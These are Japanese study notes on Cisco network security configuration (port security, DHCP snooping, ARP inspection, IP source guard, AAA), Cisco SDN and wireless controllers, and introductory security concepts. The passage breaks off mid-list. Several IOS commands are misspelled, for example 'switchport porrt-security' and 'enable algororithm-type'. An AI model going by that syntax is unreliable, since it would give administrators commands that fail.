banner motdでコンソール接続時にメッセージ(バナーメッセージ)を表示させることができる。 区切り文字は#などを使うとよい。

具体的なメッセージとしてはルータ管理の情報や警告などを表示するようにすることが多い。

(config)#banner motd <区切り文字>

8.6 QoSの設定

8.6.1. IP電話

IP電話を信頼境界とする場合はIP電話を接続しているスイッチでデータパケットに対するプライオリティの変更の有無をIP電話に指示が可能。

(config-if)#switchport priority extend {cos CoS値 | trust}
  • CoS値・・・受信したパケットにすでに施されているマーキングを無視して、新たに設定するCoS値
  • trust・・・受信したパケットのプライオリティを信頼する

6.4.9 - 9.ネットワーク機器のセキュリティ設定

ネットワーク機器のセキュリティ設定に関して

9.1. L2セキュリティ

9.1.1. ポートセキュリティの設定

ポートセキュリティを有効化すると、想定外端末のネットワーク接続を防ぐことが可能。

ポートセキュリティの有効化

ポートセキュリティはデフォルトでは有効になっていないため有効化する必要がある。

ポートセキュリティの有効化にはインターフェイスを手動でアクセスポート/トランクポートにする必要がある。 有効化には以下コマンドで行える。

(config-if)#switchport porrt-security

セキュアMACアドレスの登録

ポートセキュリティの接続違反判断にはMACアドレスをスイッチに登録しておく必要がある。 方法は以下の通り。

  1. 手動で登録
  2. フレームが届いた際に自動でその送信元MACアドレスが登録される方法
  • 最大MACアドレス登録数の設定

1つのインターフェイスに登録可能なMACアドレスはデフォルトでは1つ。 自動で登録させる場合はコマンドで変更する必要があり、以下コマンドで実現できる。

(config-if)#switchport port-security maximum <最大数>
  • MACアドレスの登録

手動で登録する場合は以下コマンドで実行できる。

(config-if)#switchport porrt-security mac-address <MACアドレス>

またセキュアMACアドレスの種類は以下の通り。

種類説明保存先
スタティックセキュアMACアドレス静的に設定したMACアドレスMACアドレステーブル、running-config
ダイナミックセキュアMACアドレス動的に学習したMACアドレスMACアドレステーブル
スティキーセキュアMACアドレス動的に学習したMACアドレスMACアドレステーブル、running-config

スティキーラーニング

スティキーラーニングは自動登録されたセキュアMACアドレスがrunning-configに保存する方法。 これによりスイッチが再起動された後も一度登録したセキュアMACアドレスが消えなくなる。

スティキーラーニングの有効化には以下コマンドで行うことができる。

(config-if)#switchport porrt-security mac-address sticky

違反時の動作の指定

ポートに登録されていないMACアドレスが登録された際の動作は3種類あり設定できる。 なおデフォルトではshutdownの設定となっている。

  • protect … 通信をブロックするのみ
  • restrict … ブロックするのに加えてセキュリティ違反のカウンタを加算する、SNMPと組み合わせて違反を通知できる
  • shutdown(デフォルト) … restrictに加えてインターフェイスをシャットダウンする、このときインターフェイスはerror-disableとなる

違反モードの設定は以下コマンドで設定できる。

(config-if)#switchport port-security violation <モード>

ポートセキュリティの設定確認

ポートセキュリティの確認は以下コマンドで行える。

#ポートセキュリティの確認
show porrt-security
#セキュアMACアドレスの確認
show port-security address
#インターフェイスの確認
show port-security interface <インターフェイス>

err-disable状態の自動復旧方法

エラー原因の状態確認は以下コマンドで行える。

show errdisable recovery

また自動復旧をさせるためのコマンドは以下の通り。

(config)#[no] errdisable recovery cause <エラーの原因>
エラーの原因復旧原因
bpduguardBPDUガードの動作
psecure-violationポートセキュリティの動作

エラー原因には自動復旧させるエラー原因を登録する。 なおallを指定するとすべてのエラーでも復旧する。 ちなみにerrdisableになる原因は以下の通り。

  • BPDUガード違反(レイヤ2ループを防ぐ機能であるSTPの動作)
  • セキュリティ違反(不正な接続を防ぐ機能であるポートセキュリティの動作)

復旧までの時刻は以下コマンドで行える。 なおデフォルトでは300秒となっている。

(config)#errdisable recovery interval [秒数]

手動でerr-disable状態を復旧する

err-disableは、機械的にポートをshutdownさせているため手動でshutdown状態にする。 手順は以下の通り。

  1. err-disabledがかかっているinterfaceに移動しshutdownコマンドを適用する
  2. その後、no shutdownコマンドを実行しポートを有効にする

なお「err-disable状態になった原因」を把握しないと、同じ原因で再びerr-diableになる可能性が高いので原因は合わせて調査すべきである。

9.1.2. DHCPスヌーピングの設定

DHCPスヌーピングの有効化

DHCPスヌーピングの有効化は以下コマンドで行える。 この項目のみの有効化ではすべてにポートが非信頼ポートとなるため、信頼ポートも指定する必要がある。

  • すべてのVLANでDHCPスヌーピングは非アクティブ
  • すべてのポートはuntrustedポート
(config)#ip dhcp snooping

また有効化にはVLANも指定する必要がある。

(config)#ip dhcp snooping vlan <VLAN番号リスト>

信頼ポートの設定

信頼ポートの割り当ては以下コマンドで行える。

(config-if)#ip dhcp snooping trust

noをつけると非信頼ポートに指定できる。

リレーエージェント情報オプション

DHCPにはリレーエージェント情報オプション(82)という追加情報を含めることが可能。 このオプションはDHCPパケットをリモートネットワークに転送する機能で追加情報をつけることができる。

この機能ではデフォルトでは有効になっているが、DHCPサーバがこの機能に対応していないと応答が返らない。 そこで無効化を行うためには以下コマンドを行う。

(config)#[no] ip dhcp snooping information option

DHCPパケットのレート制限

DHCPパケットのレートを制限するには以下コマンドで行える。

(config-if)#ip dhcp snooping limit rate <1秒あたりに受信可能なDHCPパケット数>

上記設定のメリットは以下の通り。

  • インターフェースが受信できる1秒あたりのDHCPパケット数を設定できる
  • 不正なクライアントがDHCPサーバに大量のDHCP要求を送りつける攻撃(DOs攻撃)を防ぐ

MACアドレス検証の有効化/無効化

接続されたDHCPクライアントのMACアドレスと、DHCPクライアントが送信するDHCPパケットに含まれる送信元MACアドレスが一致しているか検証する機能を使うには以下コマンドを入力する。

(config)#ip dhcp snooping verify mac-address

DHCPスヌーピングの設定確認

DHCPスヌーピングの設定を確認するには以下コマンドで行える。

show ip dhcp snooping

DHCPスヌーピングバインディングデータベースの設定確認

DHCPスヌーピングバインディングデータベースはPCに割り当てられたIPアドレスが保存される。 このデータベースの確認は以下コマンドで行える。

show ip dhcp snooping binding

なおDHCPスヌーピングバインディングデータベースには以下情報が保存される。

  • DHCPクライアントのMACアドレス
  • DHCPクライアントに割り当てられたIPアドレス
  • IPアドレスのリース時間
  • ポートが属するVLAN
  • スイッチのポート番号

9.1.3. ダイナミックARPインスペクションの設定

ダイナミックARPインスペクション(DAI)はデフォルトでは有効になっていないため、設定する必要がある。

ダイナミックARPインスペクションの有効化

ダイナミックARPインスペクションは以下コマンドで有効化を行える。

(config)#ip arp inspection vlan <vlan番号リスト>

信頼できるポートの指定

DHCPスヌーピングの設定同様にこの項目のみの有効化ではすべてにポートが非信頼ポートとなるため、信頼ポートも指定する必要がある。

(config-if)#ip arp inspection trust

ダイナミックARPインスペクションの設定確認

ダイナミックARPインスペクションの設定確認は以下コマンドで行うことができる。

show ip arp inspection [vlan <VLAN番号>]

9.1.4. VACL

VACLはスイッチ内のVLANにACLを適用するもの。 インバウンド/アウトバンドの指定はなく、VLANに届いたものすべてに適用される。

VACLはダブルダギング攻撃の対策となる。

ダブルタギング攻撃

ダブルタギング攻撃はトランクリンクのカプセル化がIEEE802.1Qの際にネイティブVLANを利用した攻撃手法

通常VLANを使用してネットワークトラフィックを分離する際に、攻撃者がスイッチに対して偽装された二重のVLANタグ(802.1Qタグ)を送信することで実行される。攻撃者がこの方法を使用すると、通常は異なるVLANに属するべきトラフィックが攻撃者が制御するVLANに送信される可能性があるというもの。

この攻撃の対策としては以下のようなことが上げられる。

  • ネイティブVLANを未使用VLAN IDに設定する
  • ネイティブVLANでもタグが付くなどの設定をする

この「ネイティブVLANでもタグが付くようにする」には以下コマンドで行える。

(config)#vlan dot1q tag native

9.2. L3セキュリティ

9.2.1. IPアドレススプーフィングの設定

IPアドレススプーフィングとは攻撃者が自身のIPアドレスを偽って不正に接続する攻撃のこと。

IPソースガードの有効化

IPアドレススプーフィングの防止にはIPソースガードを使用する。 この機能はIPパケットの送信元アドレスを検査するものであり、IPソースガードが有効になっているポートにIPパケットが着信すると検査して、送信元IPアドレスと送信元MACアドレス(オプション)が、「DHCPスヌーピングバインディングデータベース」または手動で作成したバインディングデータベースに載っていれば許可し、載っていなければ拒否する。

有効化は以下コマンドで行える。

(config-if)# ip verify source [ port-security ]

IPソースガードの確認

show ip verify source

show ip verify source binding

9.3. デバイスのセキュリティ

9.3.1. パスワードによるアクセス保護の暗号化

Enableパスワードの暗号化

異なるアルゴリズムを使用してenableパスワードを暗号化するには以下コマンドで行える。

(config)#enable algororithm-type <md5 | scrypt | sha256> secret <パスワード>

暗号化アルゴリズムはshow running-configで確認した後にenable secret項目の数字で判断できる。

アルゴリズムタイプ番号
md55
sha-2568
scrypt9

ローカル認証時のユーザアカウントパスワードの暗号化

コンソールやVTY接続でのログイン時にローカル認証(ユーザ名/パスワード)をすることができる。

ローカル認証のパスワード暗号化には以下コマンドで行える。

(config)#username <ユーザ名> [privilege <特権レベル>] secret <パスワード>

9.4. AAAを利用したログイン認証設定

AAAは「認証」「認可」「アカウンティング」の略でセキュリティの3機能を示す概念である。

9.4.1. AAAの有効化

AAAの有効化は以下コマンドで行える。

(config)#aaa new-model

9.4.2. ログイン時の認証方式指定と適用

ログインの認証方式の指定には認証方式リストを作成する必要があり、リストの作成は以下コマンドで行える。

(config)#aaa authentication login <default | リスト名> <認証方式1> [<認証方式2>]

認証方式として利用できるのは以下の通り。

認証方式説明
enableあらかじめ設定されているenableパスワードの利用
group radiusRadiusサーバによる認証の有効化
group tacacs+TACACS+サーバによる認証の有効化
lineラインモードで設定されているパスワードを使用する
localあらかじめ設定されているローカル認証用のユーザアカウント情報を使用
local-caselocalと同じだが、ユーザ名の大文字小文字を区別
none認証を使用しない

認証方式の適用は以下コマンドで行える。

(config-line)#login authentication < default | リスト名 >

ちなみに上記例では認証タイプはloginになっているが、指定可能な認証タイプは他に以下のようなものがある。

  • enable … 特権EXECモード兵の移行認証
  • dot1x … IEEE802.1X認証
  • ppp … ppp接続の認証

6.4.10 - 10.Cisco社が提供するSDNソリューション

ciscoのSDN技術に関して

10.1. Cisco SDNの前提知識

10.1.1. インテントベースネットワーク(IBN)

インテントベースネットワーク(Intent-based Network:IBN)は、Ciscoが提唱するSDNのソリューション。

「ソフトウェアで定義する」という段階を一歩進め、「利用者の意図に応じたネットワーク環境を自動構築する」ことを可能にする。

10.1.2. Cisco社の提供する代表的なSDNソリューション

Cisco社が提供するSDNのソリューションサービスには以下のようなものがある。

Open SDNCisco ACIAPIC Enterprise Module
コントロールプレーンの変更×
コントロールプレーンの集中度ほぼすべて一部分散
SBIOpenFlowOpFlexCLI, SNMP
代表的なコントローラOpenDaylight, Cisco OpenAPICAPIC-EM

10.2. Cisco ACI

Cisco ACI(Cisco Application Centric Infrastructure)は、Ciscoが提供するデータセンター向けのSDNソリューション。

10.3. Cisco SD Access

CISCO社の提供するIBNに基づいた新しいキャンパスLANの構築手法。 CISCO DNA CenterやWebGUIで提供されるアプリケーションや自作プログラムで制御ができる。

CISCO

SD-Accessは大きくアンダーレイオーバーレイで構成される。

10.3.1. ファブリック

ファブリックはアンダーレイとオーバーレイをひとまとめにしたもの。 言い換えると外部から見た、SDAネットワーク全体といえる。

10.3.2. アンダーレイ

アンダーレイはオーバレイ機能を提供するための基盤物理ネットワークのこと。 これらはルータやスイッチ、ケーブルなどの物理的なネットワークによって構成され、以下の特徴がある。

  • すべてがレイヤ3での接続となる(ルーテッドアクセス)
  • ルーティングプロトコルにOSPFやIS-ISといったリンクステート型のプロトコルを使用する
  • レイヤ2ループの考慮が不要になるため、STP/RSTPは使用しない
  • これまでの2階層、3階層モデルの役割分担がなくなり、ディストリビューション層が担当していたデフォルトゲートウェイ機能はPCが接続するエッジノードが担当する

また、各スイッチの役割は以下3つに分類される。

分類説明
ファブリックエッジノードエンドポイントとなるデバイスに接続する機器、アクセス層のスイッチにあたる
ファブリックボーダノードWANルータなどと接続する機器
ファブリックコントロールノードLISP MAP Serverとして機能する機器

アンダーレイの構築には、既存のネットワークに段階的に適用する手法(ブラウンフィールド)と、既存のものとは別個に構築して段階的に移行する手法(グリーンフィールド)がある。

10.3.3. オーバレイ

アンダーレイは通信経路などは意識せず、実際に通信を行うエンドポイント間が直接接続しているように振る舞う仮想的な論理ネットワークのこと。

内部的にはエンドポイントからパケットを受け取ったSDAエッジノード間に仮想的な接続(トンネル)を構築し、エッジノード間が直結されているように動作する。

オーバレイは以下の特徴がある。

  • トンネル構築にVXLANを使用する
  • トンネルの相手側アドレスの解決にLISPを使用する

VXLAN

物理的に異なるL3ネットワーク上に論理的なL2ネットワークを構築する技術。 具体的にはレイヤ2フレームやレイヤ3パケットをUDPパケットにカプセル化を行う。

VXLANの使用により物理的なL3ネットワークをまたいだ同一ネットワークが構築可能とまる。

LISP

LISP(Locator Identity Separation Protocol)はIPアドレスのIDとロケータ機能を分けてルーティングを行うトンネリングプロトコル。 これにより各エッジノードは全エッジノードのアドレス/ネクストホップを知らずに通信可能。

LISPではEID(エンドポイント端末のIPアドレス)とRLOC(LISP有効のルータのIPアドレス)と言う値を用いて通信を行う。

10.4. Cisco DNA/Cisco DNA Center

10.4.1. Cisco DNA

CISCO DNA(Digital Network Architecture)はCiscoが提唱するインテントベースネットワークを企業ネットワークに適用するためのアーキテクチャ。

インテントベースネットワークでは、ネットワーク機器ごとの個別の設定コマンドや設定値を意識する必要はなく、管理者の目的に沿って自動的に設定変更が行われる。

10.4.2. Cisco DNA Center

Cisco DNA CenterはCisco DNA製品やソリューションを一元管理する装置。

GUIで操作可能で、各ネットワーク機器のステータスやネットワーク上の問題点などを可視化して一元的に管理できるSDNコントローラとして動作する。

デバイスを物理的な場所単位(ビルやフロア)で管理するためのグループであるサイトを作成し、サイトごとにネットワークの設定やネットワーク機器等を紐づけてネットワークの管理を行う。 各ネットワーク機器にはサイトにあった適切な設定を自動投入可能で、様々なツールを用いて自動化を行うこともできる。 具体的にはデバイスの設定や運用監視のほか、セキュリティ対策機能も提供している。

Cisco DNA Centerの利点は以下の通り。

  • GUIによる一元管理が可能
  • ネットワーク機器のプラグアンドプレイが行われる
  • ネットワーク全体のスムーズな監視が可能
  • Easy QoSの機能(QoS設定をGUIで簡単にポリシとして設定可能)
  • Cisco AIによるエンドポイント分析機能の提供

また、Cisco DNA CenterにはマルチベンダSDKが提供されているため、マルチベンダ環境においても、マルチベンダSDKを使って非Cisco機器の情報を登録することでCisco DNA Centerから非Cisco機器を制御できるようにできる。

Cisco DNA Centerの機能

  • ネットワークのモニタリング(アシュアランス)機能
  • CLIテンプレート作成機能(テンプレートエディタ)
  • インベントリ機能(IPアドレスやMACアドレスなどネットワーク内のデバイスの情報の保持)

Cisco DNA Centerの特徴

CISCO DNA Centerの特徴は以下の通り。

  • ソフトウェアとしてではなく機器一体
  • SDNコントローラとして動作
  • NorthBound APIはREST APIを使用
  • Southbound APIはTELNET, SSH, SNMP, NETCONF/RESTCONFを使用

スケーラブルグループ

スケーラブルグループは、SD-Accessファブリックにおけるセキュリティポリシー適用のコンポーネント。

ユーザや宛先ネットワークをグループとして定義し、どのネットワーク機器に設定するか、どのような設定をするかということは一切考えず「どのグループからどのグループへの通信は許可する」というポリシーを指定するだけで必要な設定はすべてCisco DNA CenterからSD-Accessファブリックに反映される。

ACLとの違いは以下手順でセキュリティポリシを適用可能。

  1. Cisco DNA Centerでエンドポイントやユーザを「グループ(Scalable Groups)」に割り当て
  2. 各グループ間の通信を「許可/拒否」設定する

10.5. Cisco PI

Cisco PI(Cisco Prime Infrastructure)とは、Ciscoが提供するネットワーク管理ツール。 管理対象となる全てのデバイスを一つの画面から設定、管理することが可能。

機能としてはネットワークの可視化機能も持ち、デバイスの動作状況やネットワークトラフィックの状況、無線LANの電波状況など、様々な情報をダッシュボード上で視覚的に確認することを可能。

Cisco DNA Centerと比べて高度な自動化機能を多くない。 例えば、ソフトウェアの自動アップデートや、ポリシーベースの機器設定、障害の自動検知と分析、対応策の機能がDNAよりも弱い。

従来型のネットワークではCisco PIによる一元管理が幅広く使用されていたが、SDN対応が求められる現代のネットワークではCisco DNA Centerが多く使用されている。

6.4.11 - 11.CiscoのワイヤレスLAN設定

ciscoのWLANに関して

11.1. CiscoワイヤレスLANの前提知識

11.1.1. AP/ワイヤレスLANコントローラへの接続

CiscoのワイヤレスLANソリューションにおける無線LAN設計には分散管理型と集中管理型の2種類がある。

  • 分散管理型 … アクセスポイントと無線LANクライアントから構成
  • 集中管理型 … アクセスポイント、無線LANクライアント、無線LANスイッチで構成

ワイヤレスLAN

11.1.2. WLCへのログイン

WLC(ワイヤレスLANコントローラ)にはCUIログイン以外にもHTTP/HTTPSを用いたGUIアクセスも可能

11.1.2. CiscoワイヤレスLANコントローラのポート概念

WLCport

物理ポートの役割

種類説明
ディストリビューションシステムポートWLCを有線LANに接続するポート、通常はIEEE802.1Qトランクリンクでスイッチと接続する。LAG接続も可能
サービスポートWLCへ管理アクセスするためのポート
コンソールポートWLCにコンソール接続するためのポート。アウトオブバンド管理に使用される
冗長ポートWLCの冗長化のためのポート

論理ポートの役割

種類説明
DynamicインターフェイスSSID/VLANの紐づけを行うポート、SSIDに紐づいたVLANデータの送受信を行う
Virtualインターフェイスモビリティ機能を提供するための仮想ポート
Serviveインターフェイスサービスポートと紐づくインターフェイス、アウトオブバンド管理に使用される
ManagementインターフェイスWLCの管理用ポート、WLC通信制御に使用される。インバウンド管理に使用される

11.2. ワイヤレスLANコントローラの設定

WirelessLAN

11.2.1. Monitorメニュー

ポートやプロトコルの大まかな情報を把握可能。

CiscoGUI

またWLCは未知のAP(不正AP)を検出したとき、そのAPを事前に設定したルールに基づき、以下のいずれかのタイプに分類し、その結果はMonitorタブで閲覧可能。

なお以下種類ごとに表示される。

分類説明
Friendly友好的(脅威的ではない)
Malicious悪意のあるAP
Custom管理者が新たに作成した分類
Unclassified未分類

11.2.2. WLANsメニュー

WLANsメニューでは以下のことが可能。

  • SSIDの作成
  • WLANセキュリティ規格の設定
  • Web認証設定
  • AAAのRadiusなどの認証サーバ設定
  • QoSの設定

Generalタブ

SSID名変更/作成したWLANの有効無効化などを行える。

General

Securityタブ

  • Layer 2タブ … WLCのセキュリティ規格設定(WPA+WPA2など)や事前共有鍵認証方式の設定(PSKなど)、MACフィルタリングの有効化、PSK Format(ASCII,Hsx)、PMF有効化など
  • Layer 3タブ … Web認証の有効化/無効化(Webブラウザでのユーザ認証)
  • AAA Serverタブ … Radiusサーバなどの認証サーバの指定
  • Advancedタブ … DHCP、AAAオーバライドなどの設定

なお「AAA Serverタブ」のQoSのレベルは以下のようなものを設定できる。

QoS Level説明
PlutinumVoice over Wireless LAN用サービスの提供
Gold高品質ビデオアプリケーション用サービス提供
Silverクライアント用の通常帯域幅を提供
Bronzeゲストサービス用の最小帯域幅の提供

PMF: 管理フレームのセキュリティを強化するための機能(Comebackタイマー、SAクエリタイムアウトの設定が必要 )

11.2.3. Controllerメニュー

Controllerメニューでは以下のことが可能。

  • Dynamicインターフェイスの作成
  • WLANの作成
  • LAG(EthernetChannel)の設定
  • Fast SSID Changeの有効化

Fast SSID Change: SSIDに接続しているWLANクライアントが別のSSIDへ接続しようとした際に、SSIDを素早く切り替える機能

11.2.4. Wirelessメニュー

Wirelessメニューでは以下のことが可能。

  • APモードの変更

APモード

モード説明
LocalLAPデフォルトのモード。無線LANクライアントを使ったデータの送受信/無線通信に1つのチャネルを使用し他チャネルを監視
FlexConnectWAN経由でWLCと接続するときに使用するモード
Monitor不正APの検出、IDS・RFID専用モードなどとして動作
Rogue Detector有線ネットワーク上に不正なAPやクライアントがいないか監視するモード
Sniffer特定チャネルのすべてのトラフィックを収集し指定デバイスに送信するモード
BridgeAPがブリッジとして動作するモード
SE-Connectスペクトルアナライザ専用モード

11.2.5. Securityメニュー

Securityメニューでは以下のことが可能。

  • Radiusサーバの登録
  • ACLの作成と適用

11.3.6. Managementメニュー

Managementメニューでは以下のことが可能。

  • HTTP/HTTPSによるWLCへのアクセスを許可/拒否

11.3. CiscoのワイヤレスLANに関するサービス/製品

Cisco Meraki

Cisco Merakiは自律型アクセスポイント(AP)を始めとしたネットワーク機器の設定やネットワークの管理をクラウド上で行うシステムのこと。

Merakiに対応したアクセスポイントであれば、コンソールケーブルを接続してCLIで設定を行う必要がなく、APをLANケーブル(インターネット)に接続するだけで導入できる。 細かい設定や管理については、インターネット経由でMerakiのクラウドにアクセスすることで、GUIで操作できる。

7 - システムセキュリティ基礎

システム侵入の際に必要となる考え方基礎のノート

7.1 - 1.情報セキュリティ概論

基本的な情報セキュリティの前提知識

1.1. 情報セキュリティ基礎

1.1.1. 情報セキュリティの3大要件

情報セキュリティが保たれている状態は以下状態を指す。

  • 情報・インフラ環境が健全
  • 情報やサービスに対して盗聴・改ざん・破壊などが起こる可能性が低い

具体的には情報セキュリティはCIA要件として規定されている。

  • 機密性(Confidentiality) 「不正な読み取りをさせない」 - ユーザーは、読み取りが許可されている情報のみ読み取ることができる。
  • 完全性(Integrity) 「不正な修正(書き込みや削除)をさせない」 - ユーザーは、修正することを許可された情報のみ修正することができ、修正には追加、変更、削除が含まれる。
  • 可用性(Availability) 「攻撃を受けても動作し続ける」 - 攻撃を受けている間でもソフトウェアが動作し続けることを意味する。サービス妨害(Denial of Service:DoS)攻撃とは、ソフトウェアを利用できなくさせようとする攻撃のこと。

CIA要件のうち、CIをサポートするのが識別、認証、認可、監査(Auditing: ロギング)の機能となる。

1.1.2. セキュリティの要素と多層防衛

情報にアクセスするためには様々な要素を経由する。 それらの要素それぞれでセキュリティの対策を行うことは**DID(多層防衛)**と呼ばれる。

DID

これらを適切に設定し運用するためにはセキュリティポリシを規定するのが一般的である。

また、セキュリティの検証と評価には以下の3つの項目を把握/管理することが基本となる。

  • リスク … 情報資産に被害が及ぶ可能性
  • 脅威 … 情報資産を危険に晒す事象/要素
  • 脆弱性 … 情報資産を危険にさらすセキュリティホール

1.1.3. 情報セキュリティの防衛

またセキュリティの防衛には以下の3つのフェーズがある。

  • 予防フェーズ … 初期設定とそのフィードバックによる設定変更等
  • 運用フェーズ … 通常運用時におけるセキュリティレベルの維持
  • 対処フェーズ … インシデント発生時の対処方法

1.1.3.1. 予防フェーズ

予防フェーズでは以下手順でセキュリティ防衛を実現する。

  1. 情報資産の設定/ラベリング … 守るべき対象とその基準をセキュリティポリシーにより決定する
  2. リスクの評価 … リスクレベルの設定とリスクの種類ごとに対応を定める(リスクマトリックスの策定)
  3. 防衛方法の検討 … 防衛機器の必要性の有無/手順の策定/多層防衛か/など
  4. 機器の選定と導入
  5. 機器の構築と設定

1.1.3.2. 運用フェーズ

運用フェーズでは以下手順でセキュリティ防衛を実現する。

  1. 監視 … インシデントの兆候(アラート/ログ)
  2. 分析 … 誤検知/見落としの排除、セキュリティレベルの維持
  3. レポーティング … 上記2つをレポートする
  4. 評価・検証 … 脆弱性の検証を行う

1.1.3.3. 対処フェーズ

対処フェーズ(IH&R)では以下手順でセキュリティ防衛を実現する。

  1. 検出・分析 … インシデントを検知する
  2. 分類・優先順位付けと通知 … 対応やインシデントの分類と有線付けを行い、通知する
  3. 封じ込め … インシデントを起こした原因の根絶/システムの復旧を行う
  4. フォレンジック調査 … 証拠収集
  5. 事後処理

1.1.4. セキュリティに関する用語

セキュリティの概念を表す用語には以下のようなものがある。

用語説明
脆弱性プログラムの欠陥やシステム/ネットワーク上のセキュリティ上の欠陥全般のこと。
脅威攻撃を与えうる存在。技術的脅威、人的脅威、物理的脅威に分けられる。
リスク情報セキュリティで危険な事象を起こすことにつながると判断されたもの
インシデント情報セキュリティを脅かす発生した事件や事故のこと。

1.1.5. 脆弱性とリスク

脆弱性

脆弱性はコンピュータのOSやソフトウェアにおいてプログラムの不具合や設計上のミスが原因となって発生した情報セキュリティ上の欠陥のことを指す。

リスク

リスクは脅威資産脆弱性を組み合わせたものであるとJNSAは定義している。 つまり脆弱性が重大でも資産や脅威が0であるならばリスクは0ということになる。

1.1.6. 個人のアクセス権の付与と管理

個人が必要とする情報技術システムへのさまざまなレベルのアクセスを管理し、正しく定義することセキュリティの概念上重要になる。 個人に与えられるアクセスレベルは以下の2つの要素によって決定する。

  • 組織内での個人の役割/機能
  • システムに保存される情報の機密性

個人のアクセス権の付与と管理にはPIM(Privileged Identity Management)とPAM(Privileged Access Management)という2つの概念が使用される。

PIM

PIM(Privileged Identity Management)は組織内のユーザーの役割をシステム上のアクセス役割に変換するのに使用する管理概念のこと。 組織におけるユーザーの役割/責任に基づいたシステム役割を作成したい場合に使用する。

PAM

PAM(Privileged Access Management)はシステムのアクセス ロールが持つ権限の管理概念のこと。 システムアクセスロールが持つ権限を管理したい場合に使用する。

1.2. 攻撃的セキュリティ

1.2.1. 攻撃的セキュリティの概要

1.2.1.1. 攻撃的セキュリティとは

攻撃的なセキュリティはシステムへ侵入することに重点を置いたセキュリティのこと。 システムへの侵入は、バグの悪用、既存設定の悪用、制限されていないアクセス制御ポリシーの利用などを通じて行う。

攻撃的セキュリティのタスクは以下の通り。

  • システムへの侵入
  • レポートの作成

攻撃的セキュリティはレッドチームペネトレーションテスタなどの部隊が専門とする。

1.3. 防衛的セキュリティ

1.3.1. 防衛的セキュリティの概要

1.3.1.1. 防衛的セキュリティとは

防衛的セキュリティはシステムへの侵入を防ぐことに重点を置いたセキュリティのこと。 システムへの侵入は、バグの悪用、既存設定の悪用、制限されていないアクセス制御ポリシーの利用などを通じて行われる可能性がある。

防衛的セキュリティのタスクは以下の通り。

  • 侵入の防止
  • 侵入の検知と対応

防衛的セキュリティはブルーチームSOCなどの部隊が専門とする。 また防衛的セキュリティに関連するタスクには次のようなものがある。

  • ユーザーのサイバセキュリティ意識の向上
  • デジタル資産の文書化と管理
  • システムの更新とパッチ適用
  • IPS/IDSなどの予防セキュリティデバイスのセットアップ
  • ログ記録および監視デバイスのセットアップ

1.3.1.2. 防衛的セキュリティのタスク

セキュリティ運用には保護を確保するためのさまざまなタスクがあり、具体的には以下のようなタスクがある。

  • 脅威インテリジェンス
  • デジタルフォレンジック
  • インシデント対応
  • マルウェア解析

1.3.2. 防衛的セキュリティの組織

1.3.2.1. SOC

SOC(Security Operation Center)はネットワークとそのシステムを監視して悪意のあるサイバセキュリティイベントを検出するチームのこと。 具体的には通常時は以下のようなことを24時間で行う。

  • ネットワークセキュリティ監視(NSM) … ネットワークの監視とトラフィックの分析に焦点を当て侵入の兆候を検出する
  • 脅威ハンティング … SOCは侵入がすでに行われたと想定し、この想定を確認できるかどうかを確認するために探索を行う
  • 脅威インテリジェンス … 潜在的な敵対者とその戦術とテクニックについて学習する

なお侵入検知時は以下内容を行う。

  • セキュリティ体制の監視 … セキュリティアラートと通知についてネットワークとコンピュータを監視し、必要に応じてそれらに応答することが含まる
  • 脆弱性管理 … システムの脆弱性を発見しパッチを当てる
  • マルウェア分析 … 制御された環境で実行することで基本的な分析を行う
  • 侵入検出 … 侵入検出システム(IDS)を保守し、そのアラートを監視し必要に応じてログを調べる
  • 報告 … インシデントやアラームを報告する

1.3.2.2. BlueTeam

BlueTeamはサイバー攻撃への防御力を検証するため、自組織を模擬的に攻撃するレッドチームに対し、それを防御するチームのこと。

1.3.3. 脅威インテリジェンス

脅威インテリジェンスは企業/組織が潜在的な敵に対してより適切に備えるのに役立つ情報を収集することを目的とする。 その目的は脅威に基づいた防御を実現することであり、企業/組織が異なれば敵も異なることとなる。

敵対者の例としては以下のようなものがある。

  • 政治的理由で活動する国家サイバー軍
  • 金銭目的で活動するランサムウェアグループ

インテリジェンスにはデータが必要であり、またデータは収集、処理、分析する必要がある。 データ収集はネットワークログなどのローカルソースおよびフォーラムなどのパブリックソースなどから行われる。 データの処理はデータを分析に適した形式に整理することを目的とし、分析フェーズでは攻撃者とその動機に関するさらなる情報の発見を目指す。 さらに推奨事項と実行可能な手順のリストを作成することもインテリジェンスの目的としている。

インテリジェンスを使って敵について学ぶことで、敵の戦術、テクニック、手順を知ることができる。 脅威インテリジェンスの結果として脅威アクター (敵対者) を特定し、その活動を予測することで、その攻撃を軽減し、対応戦略を準備することが可能となる。

1.3.4. デジタルフォレンジック

デジタルフォレンジックはデジタルシステムを応用して犯罪を調査し、事実を立証することを指す。

防御セキュリティでは、デジタルフォレンジックの焦点は、攻撃とその実行者の証拠の分析、および知的財産の盗難、サイバースパイ行為、未承認のコンテンツの所持などの他の分野に渡る。よってデジタルフォレンジックはさまざまな領域に焦点を当てることになる。

具体的には以下のようなものを分析することで実現する。

  • ファイルシステム/ストレージ
    • インストールされたプログラム、作成されたファイル、部分的に上書きされたファイル、削除されたファイルなどの多くの情報がわかる
  • システムメモリ
    • 攻撃者が悪意のあるプログラムをディスクに保存せずにメモリ内で実行している場合に有効となる方法
  • システムログ
    • ログ ファイルには、システムで何が起こったかに関する多くの情報が含まれる
  • ネットワークログ
    • ネットワークを通過したパケットのログは、攻撃が発生しているかどうか、および攻撃が何を引き起こすかについてのより多くのことを知るのに役立つ

1.3.5. インシデント対応(DFIR)

インシデントはデータへの侵害またはサイバー攻撃を指す。 インシデントへの対応は場合によって、構成ミス、侵入の試み、ポリシー違反など、それほど重大ではないことがある。

サイバー攻撃の例には、攻撃者によるネットワークやシステムへのアクセス不能化、公開 Web サイトの改ざん (変更)、データ侵害 (企業データの窃取) などがある。 サイバー攻撃に対処するには、インシデントによるダメージを軽減し、できるだけ短い時間でサービスを回復することにある。 具体的に言えば、インシデント対応に備えた計画を作成することが重要となる。

インシデント対応プロセスの4つの主要なフェーズは以下のとおり。

  1. 準備 … インシデントに対処できる準備ができているチームがインシデントの発生を最初から防ぐためにさまざまな対策が講ずる
  2. 検出と分析 … 検出されたインシデントをさらに分析して、その重大度を知る
  3. 封じ込め/根絶/回復 … インシデントが検出後に他のシステムへの影響を阻止し、排除し、影響を受けたシステムを回復することが重要となる
  4. 後処理 … 正常に回復した後にレポートを作成し、学んだ教訓が共有され、将来の同様のインシデントが防止する

1.3.6. マルウェアの解析

マルウェアとは悪意のあるソフトウェアの略。 ソフトウェアはディスクに保存したりネットワーク経由で送信したりできるプログラム、ドキュメント、ファイルを指す。 マルウェアには次のような種類が含まれる。

  • ウィルス
